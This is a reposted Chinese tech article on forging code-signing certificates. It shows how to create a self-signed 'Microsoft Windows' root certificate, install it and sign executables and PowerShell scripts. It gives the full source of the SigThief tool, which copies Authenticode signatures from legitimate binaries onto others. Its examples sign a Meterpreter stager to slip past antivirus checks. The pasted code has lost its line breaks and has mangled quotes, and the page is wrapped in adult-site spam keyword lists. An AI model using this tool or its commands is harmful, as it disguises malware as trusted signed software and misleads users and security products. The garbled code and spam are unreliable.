日本不卡不码高清免费观看,久久国产精品久久w女人spa,黄色aa久久,三上悠亚国产精品一区二区三区

您的位置:首頁技術文章
文章詳情頁

Python使用sigthief簽發證書的實現步驟

瀏覽:214日期:2022-06-16 08:39:45
目錄制作并簽發證書:偽造PE文件證書:

證書制作工具下載: https://github.com/3gstudent/signtools

制作并簽發證書:

正常情況下,針對exe簽發證書有如下幾個步驟.

1.查詢一個程序中存在的證書,可以使用下面三個命令。

c:> signtools Get-AuthenticodeSignature C:WindowsSystem32ConsentUX.dllc:> signtools signtool.exe verify /v C:WindowsSystem32ConsentUX.dllc:> signtools sigcheck.exe -q C:WindowsSystem32ConsentUX.dll

2.使用makecert命令制作證書,sv-私鑰文件名,ss-主題的證書存儲名稱,n-證書頒發對象,r-證書存儲位置。

c:> signtools makecert -n 'CN=Microsoft Windows' -r -sv Root.pvk Root.cerc:> signtools cert2spc Root.cer Root.spcc:> signtools pvk2pfx -pvk Root.pvk -pi 1233 -spc Root.spc -pfx Root.pfx -f

3.注冊證書與簽發證書。

c:> signtools certmgr.exe -add -c Root.cer -s -r localmachine rootc:> signtools signtool sign /f Root.pfx /p 1233 lyshark.exe

而如果要給PowerShell腳本添加證書,則執行如下命令即可.

1.生成證書文件

c:> makecert -n 'CN=Microsoft Windows' -r -eku 1.3.6.1.5.5.7.3.3 -sv certtest.pvk certtest.cerc:> cert2spc certtest.cer certtest.spcc:> pvk2pfx -pvk certtest.pvk -pi 123123 -spc certtest.spc -pfx certtest.pfx -f

2.給powershell腳本簽名

c:> powershellc:> $cert = Get-PfxCertificate certtest.pfxc:> Set-AuthenticodeSignature -Filepath lyshark.ps1 -Cert $cert偽造PE文件證書:

有些反病毒軟件供應商優先考慮某些證書頒發機構而不檢查簽名是否真正有效,并且有一些只是檢查以查看certTable是否填充了某些值。這個工具讓你快速將從已簽名的PE文件中刪除簽名并將其附加到另一個文件,修復證書表以對文件進行簽名。

開源工具SigThief可用于偽造證書,將下方代碼保存為sigthief.py即可:

import sysimport structimport shutilimport iofrom optparse import OptionParserdef gather_file_info_win(binary):'''Borrowed from BDF...I could just skip to certLOC... *shrug*'''flItms = {}binary = open(binary, ’rb’)binary.seek(int(’3C’, 16))flItms[’buffer’] = 0flItms[’JMPtoCodeAddress’] = 0flItms[’dis_frm_pehdrs_sectble’] = 248flItms[’pe_header_location’] = struct.unpack(’<i’, binary.read(4))[0]# Start of COFFflItms[’COFF_Start’] = flItms[’pe_header_location’] + 4binary.seek(flItms[’COFF_Start’])flItms[’MachineType’] = struct.unpack(’<H’, binary.read(2))[0]binary.seek(flItms[’COFF_Start’] + 2, 0)flItms[’NumberOfSections’] = struct.unpack(’<H’, binary.read(2))[0]flItms[’TimeDateStamp’] = struct.unpack(’<I’, binary.read(4))[0]binary.seek(flItms[’COFF_Start’] + 16, 0)flItms[’SizeOfOptionalHeader’] = struct.unpack(’<H’, binary.read(2))[0]flItms[’Characteristics’] = struct.unpack(’<H’, binary.read(2))[0]#End of COFFflItms[’OptionalHeader_start’] = flItms[’COFF_Start’] + 20#if flItms[’SizeOfOptionalHeader’]: #Begin Standard Fields section of Optional Headerbinary.seek(flItms[’OptionalHeader_start’])flItms[’Magic’] = struct.unpack(’<H’, binary.read(2))[0]flItms[’MajorLinkerVersion’] = struct.unpack('!B', binary.read(1))[0]flItms[’MinorLinkerVersion’] = struct.unpack('!B', binary.read(1))[0]flItms[’SizeOfCode’] = struct.unpack('<I', binary.read(4))[0]flItms[’SizeOfInitializedData’] = struct.unpack('<I', binary.read(4))[0]flItms[’SizeOfUninitializedData’] = struct.unpack('<I', binary.read(4))[0]flItms[’AddressOfEntryPoint’] = struct.unpack(’<I’, binary.read(4))[0]flItms[’PatchLocation’] = flItms[’AddressOfEntryPoint’]flItms[’BaseOfCode’] = struct.unpack(’<I’, binary.read(4))[0]if flItms[’Magic’] != 0x20B: flItms[’BaseOfData’] = struct.unpack(’<I’, binary.read(4))[0]# End Standard Fields section of Optional Header# Begin Windows-Specific Fields of Optional Headerif flItms[’Magic’] == 0x20B: flItms[’ImageBase’] = struct.unpack(’<Q’, binary.read(8))[0]else: flItms[’ImageBase’] = struct.unpack(’<I’, binary.read(4))[0]flItms[’SectionAlignment’] = struct.unpack(’<I’, binary.read(4))[0]flItms[’FileAlignment’] = struct.unpack(’<I’, binary.read(4))[0]flItms[’MajorOperatingSystemVersion’] = struct.unpack(’<H’, binary.read(2))[0]flItms[’MinorOperatingSystemVersion’] = struct.unpack(’<H’, binary.read(2))[0]flItms[’MajorImageVersion’] = struct.unpack(’<H’, binary.read(2))[0]flItms[’MinorImageVersion’] = struct.unpack(’<H’, binary.read(2))[0]flItms[’MajorSubsystemVersion’] = struct.unpack(’<H’, binary.read(2))[0]flItms[’MinorSubsystemVersion’] = struct.unpack(’<H’, binary.read(2))[0]flItms[’Win32VersionValue’] = struct.unpack(’<I’, binary.read(4))[0]flItms[’SizeOfImageLoc’] = binary.tell()flItms[’SizeOfImage’] = struct.unpack(’<I’, binary.read(4))[0]flItms[’SizeOfHeaders’] = struct.unpack(’<I’, binary.read(4))[0]flItms[’CheckSum’] = struct.unpack(’<I’, binary.read(4))[0]flItms[’Subsystem’] = struct.unpack(’<H’, binary.read(2))[0]flItms[’DllCharacteristics’] = struct.unpack(’<H’, binary.read(2))[0]if flItms[’Magic’] == 0x20B: flItms[’SizeOfStackReserve’] = struct.unpack(’<Q’, binary.read(8))[0] flItms[’SizeOfStackCommit’] = struct.unpack(’<Q’, binary.read(8))[0] flItms[’SizeOfHeapReserve’] = struct.unpack(’<Q’, binary.read(8))[0] flItms[’SizeOfHeapCommit’] = struct.unpack(’<Q’, binary.read(8))[0]else: flItms[’SizeOfStackReserve’] = struct.unpack(’<I’, binary.read(4))[0] flItms[’SizeOfStackCommit’] = struct.unpack(’<I’, binary.read(4))[0] flItms[’SizeOfHeapReserve’] = struct.unpack(’<I’, binary.read(4))[0] flItms[’SizeOfHeapCommit’] = struct.unpack(’<I’, binary.read(4))[0]flItms[’LoaderFlags’] = struct.unpack(’<I’, binary.read(4))[0] # zeroflItms[’NumberofRvaAndSizes’] = struct.unpack(’<I’, binary.read(4))[0]# End Windows-Specific Fields of Optional Header# Begin Data Directories of Optional HeaderflItms[’ExportTableRVA’] = struct.unpack(’<I’, binary.read(4))[0]flItms[’ExportTableSize’] = struct.unpack(’<I’, binary.read(4))[0]flItms[’ImportTableLOCInPEOptHdrs’] = binary.tell()#ImportTable SIZE|LOCflItms[’ImportTableRVA’] = struct.unpack(’<I’, binary.read(4))[0]flItms[’ImportTableSize’] = struct.unpack(’<I’, binary.read(4))[0]flItms[’ResourceTable’] = struct.unpack(’<Q’, binary.read(8))[0]flItms[’ExceptionTable’] = struct.unpack(’<Q’, binary.read(8))[0]flItms[’CertTableLOC’] = binary.tell()flItms[’CertLOC’] = struct.unpack('<I', binary.read(4))[0]flItms[’CertSize’] = struct.unpack('<I', binary.read(4))[0]binary.close()return flItmsdef copyCert(exe): flItms = gather_file_info_win(exe) if flItms[’CertLOC’] == 0 or flItms[’CertSize’] == 0:# not signedprint('Input file Not signed!')sys.exit(-1) with open(exe, ’rb’) as f:f.seek(flItms[’CertLOC’], 0)cert = f.read(flItms[’CertSize’]) return certdef writeCert(cert, exe, output): flItms = gather_file_info_win(exe)if not output: output = output = str(exe) + '_signed' shutil.copy2(exe, output)print('Output file: {0}'.format(output)) with open(exe, ’rb’) as g:with open(output, ’wb’) as f: f.write(g.read()) f.seek(0) f.seek(flItms[’CertTableLOC’], 0) f.write(struct.pack('<I', len(open(exe, ’rb’).read()))) f.write(struct.pack('<I', len(cert))) f.seek(0, io.SEEK_END) f.write(cert) print('Signature appended. nFIN.')def outputCert(exe, output): cert = copyCert(exe) if not output:output = str(exe) + '_sig' print('Output file: {0}'.format(output)) open(output, ’wb’).write(cert) print('Signature ripped. nFIN.')def check_sig(exe): flItms = gather_file_info_win(exe) if flItms[’CertLOC’] == 0 or flItms[’CertSize’] == 0:# not signedprint('Inputfile Not signed!') else:print('Inputfile is signed!')def truncate(exe, output): flItms = gather_file_info_win(exe) if flItms[’CertLOC’] == 0 or flItms[’CertSize’] == 0:# not signedprint('Inputfile Not signed!')sys.exit(-1) else:print( 'Inputfile is signed!') if not output:output = str(exe) + '_nosig' print('Output file: {0}'.format(output)) shutil.copy2(exe, output) with open(output, 'r+b') as binary:print(’Overwriting certificate table pointer and truncating binary’)binary.seek(-flItms[’CertSize’], io.SEEK_END)binary.truncate()binary.seek(flItms[’CertTableLOC’], 0)binary.write(b'x00x00x00x00x00x00x00x00') print('Signature removed. nFIN.')def signfile(exe, sigfile, output): flItms = gather_file_info_win(exe)cert = open(sigfile, ’rb’).read() if not output: output = output = str(exe) + '_signed' shutil.copy2(exe, output)print('Output file: {0}'.format(output))with open(exe, ’rb’) as g:with open(output, ’wb’) as f: f.write(g.read()) f.seek(0) f.seek(flItms[’CertTableLOC’], 0) f.write(struct.pack('<I', len(open(exe, ’rb’).read()))) f.write(struct.pack('<I', len(cert))) f.seek(0, io.SEEK_END) f.write(cert) print('Signature appended. nFIN.')if __name__ == '__main__': usage = ’usage: %prog [options]’ parser = OptionParser() parser.add_option('-i', '--file', dest='inputfile', help='input file', metavar='FILE') parser.add_option(’-r’, ’--rip’, dest=’ripsig’, action=’store_true’, help=’rip signature off inputfile’) parser.add_option(’-a’, ’--add’, dest=’addsig’, action=’store_true’, help=’add signautre to targetfile’) parser.add_option(’-o’, ’--output’, dest=’outputfile’, help=’output file’) parser.add_option(’-s’, ’--sig’, dest=’sigfile’, help=’binary signature from disk’) parser.add_option(’-t’, ’--target’, dest=’targetfile’, help=’file to append signature to’) parser.add_option(’-c’, ’--checksig’, dest=’checksig’, action=’store_true’, help=’file to check if signed; does not verify signature’) parser.add_option(’-T’, ’--truncate’, dest='truncate', action=’store_true’, help=’truncate signature (i.e. remove sig)’) (options, args) = parser.parse_args()# rip signature # inputfile and rip to outputfile if options.inputfile and options.ripsig:print('Ripping signature to file!')outputCert(options.inputfile, options.outputfile)sys.exit()# copy from one to another # inputfile and rip to targetfile to outputfileif options.inputfile and options.targetfile:cert = copyCert(options.inputfile)writeCert(cert, options.targetfile, options.outputfile)sys.exit() # check signature # inputfile if options.inputfile and options.checksig:check_sig(options.inputfile) sys.exit() # add sig to target file if options.targetfile and options.sigfile:signfile(options.targetfile, options.sigfile, options.outputfile)sys.exit() # truncate if options.inputfile and options.truncate:truncate(options.inputfile, options.outputfile)sys.exit() parser.print_help() parser.error('You must do something!')

我們需要找一個帶有證書的文件,然后通過使用sigthief.py完成證書的克隆。此處就拿系統中的ConsentUX.dll演示。

c:> python sigthief.py -i ConsentUX.dll -t lyshark.exe -o check.exeOutput file: check.exeSignature appended.FIN.

也可以從二進制文件中獲取簽名并將其添加到另一個二進制文件中

$ ./sigthief.py -i tcpview.exe -t x86_meterpreter_stager.exe -o /tmp/msftesting_tcpview.exe Output file: /tmp/msftesting_tcpview.exeSignature appended. FIN.

將簽名保存到磁盤以供以后使用,提供了一個轉存功能。

$ ./sigthief.py -i tcpview.exe -r Ripping signature to file!Output file: tcpview.exe_sigSignature ripped. FIN.```BASH使用翻錄簽名```BASH$ ./sigthief.py -s tcpview.exe_sig -t x86_meterpreter_stager.exe Output file: x86_meterpreter_stager.exe_signedSignature appended. FIN.```BASH截斷(刪除)簽名 這實際上有非常有趣的結果,可以幫助您找到重視代碼功能簽名的AV)```BASH$ ./sigthief.py -i tcpview.exe -T Inputfile is signed!Output file: tcpview.exe_nosigOverwriting certificate table pointer and truncating binarySignature removed. FIN.

文章出處:https://www.cnblogs.com/lyshark

以上就是Python使用sigthief簽發證書的實現步驟的詳細內容,更多關于Python使用sigthief簽發證書的資料請關注好吧啦網其它相關文章!

標簽: Python 編程
相關文章:
日本不卡不码高清免费观看,久久国产精品久久w女人spa,黄色aa久久,三上悠亚国产精品一区二区三区
亚洲精品伦理| 国产日韩免费| 麻豆国产精品视频| 国产精品多人| 国产亚洲人成a在线v网站| 亚洲97av| 日本三级亚洲精品| 日韩国产精品久久久| 国产亚洲精品久久久久婷婷瑜伽| 亚洲精品2区| 亚洲在线观看| 在线精品亚洲| 欧美在线黄色| 欧美激情麻豆| a国产在线视频| 久久影院一区| 午夜在线一区| 日韩va亚洲va欧美va久久| 日本午夜精品| 老司机精品视频网| 日韩大片在线播放| 91精品久久久久久久久久不卡| 激情六月综合| 五月婷婷六月综合| 视频一区在线视频| 日本精品久久| 麻豆免费精品视频| 中文字幕在线视频网站| 999久久久精品国产| 99视频在线精品国自产拍免费观看| 亚洲欧美视频| 国产精品主播在线观看| 91亚洲人成网污www| 亚洲激情偷拍| 青青青国产精品| 成人台湾亚洲精品一区二区| 欧美sss在线视频| 在线一区免费| 日本va欧美va欧美va精品| 精品国产精品久久一区免费式| 丝袜av一区| 亚洲精品免费观看| 精品一区二区三区中文字幕视频| 欧美成人基地 | 一本一道久久a久久| 国产美女精品视频免费播放软件| 精品国产aⅴ| 欧美日韩四区| 国产欧美一区二区三区国产幕精品| 精品中文字幕一区二区三区| 电影亚洲精品噜噜在线观看| 美日韩精品视频| 欧美激情麻豆| 在线亚洲一区| 麻豆精品新av中文字幕| 136国产福利精品导航网址| 中文字幕日韩欧美精品高清在线| 免费亚洲一区| 欧美专区在线| 欧美午夜三级| 久久精品不卡| 国产精品一级在线观看| 亚洲国产一区二区三区在线播放| 青草国产精品| 国产色综合网| www.51av欧美视频| 日韩一区二区三区精品视频第3页 日韩一区二区三区免费视频 | 丝袜国产日韩另类美女| 91成人精品观看| 999国产精品999久久久久久| 国产精品夜夜夜| 日韩中文字幕不卡| av综合电影网站| 国产日韩欧美三级| 夜夜嗨一区二区三区| 国产在线观看www| 日韩精品一区二区三区av | 成人在线黄色| 日韩一区二区三区在线看| 不卡福利视频| 日本成人手机在线| 日韩天堂av| 国产色播av在线| 国产精品亚洲产品| 综合一区av| 激情欧美一区| 精品72久久久久中文字幕| 91综合久久爱com| 亚洲一区二区三区免费在线观看| 激情国产在线| 欧美国产中文高清| 日韩高清不卡在线| 亚洲深爱激情| 久久精品影视| 麻豆国产欧美一区二区三区 | 欧美中文一区二区| 成人国产综合| 欧美xxxx性| 日本成人中文字幕在线视频| 国产亚洲精品久久久久婷婷瑜伽| 91精品国产91久久久久久黑人| 精品国产欧美日韩| 欧美日韩亚洲三区| 日韩精品成人| 日本a级不卡| 亚洲精品一级| 石原莉奈一区二区三区在线观看 | 在线手机中文字幕| 国产高清日韩| 国产欧美一区二区精品久久久| 视频一区中文字幕精品| 亚洲欧美激情诱惑| 欧美美女一区| 国产国产精品| 香蕉久久99| 久久久久国产精品一区二区| 国产成人精品福利| 国产一区二区三区精品在线观看| 欧美另类中文字幕| 日本一区二区三区中文字幕| 日韩精品一级中文字幕精品视频免费观看 | 午夜av成人| 久久男女视频| 久久精品播放| 美女亚洲一区| 欧美日韩国产一区精品一区| 不卡中文字幕| 国产亚洲精品自拍| 一级成人国产| 视频精品一区| 国产欧美三级| 国产美女视频一区二区| 国产乱人伦精品一区| 国产视频网站一区二区三区| 欧美日韩18| 久久影视三级福利片| 精品国产成人| 香蕉久久精品| 日韩精品一卡二卡三卡四卡无卡| 亚州精品视频| 国产亚洲一区| 精品视频一二| 欧美gv在线| 久久精品国产大片免费观看| 国内精品99| 免费在线看一区| 亚洲日本久久| 国产精品久久亚洲不卡| 精品国产网站| 亚洲调教视频在线观看| 亚洲一区日本| 亚洲毛片在线| 国产精品jk白丝蜜臀av小说| 国产精品xx| 欧美91视频| 日韩在线网址| 久久精品国产成人一区二区三区| 神马久久午夜| 美女精品在线| 欧美激情视频一区二区三区免费 | 国产在线看片免费视频在线观看| 91精品国产自产在线观看永久∴| 欧美一级专区| 国产精品日韩精品中文字幕| 不卡专区在线| aa亚洲婷婷| 久久精品xxxxx| 日韩精品永久网址| 久久夜色精品| 免费亚洲婷婷| 在线亚洲精品| 美女性感视频久久| 亚洲精品成人| 国产精品宾馆| 日韩欧美午夜| 亚洲无线观看| 国产精品二区不卡| 亚洲欧美视频| 久久精品免视看国产成人| 91精品二区| 国产精品黄色片| 蜜臀av免费一区二区三区| 日本va欧美va瓶| 欧美日韩精品在线一区| 91福利精品在线观看| 国产91精品对白在线播放| 日韩有吗在线观看| 日韩国产一区| 日产欧产美韩系列久久99| 精品国产鲁一鲁****| 蜜桃视频第一区免费观看| 黄色网一区二区| 蜜桃久久久久久| 国产一区二区精品福利地址| 免费观看在线综合| 国产suv精品一区二区四区视频| 免费日韩av| av最新在线| 国产精品资源| 亚洲精品护士|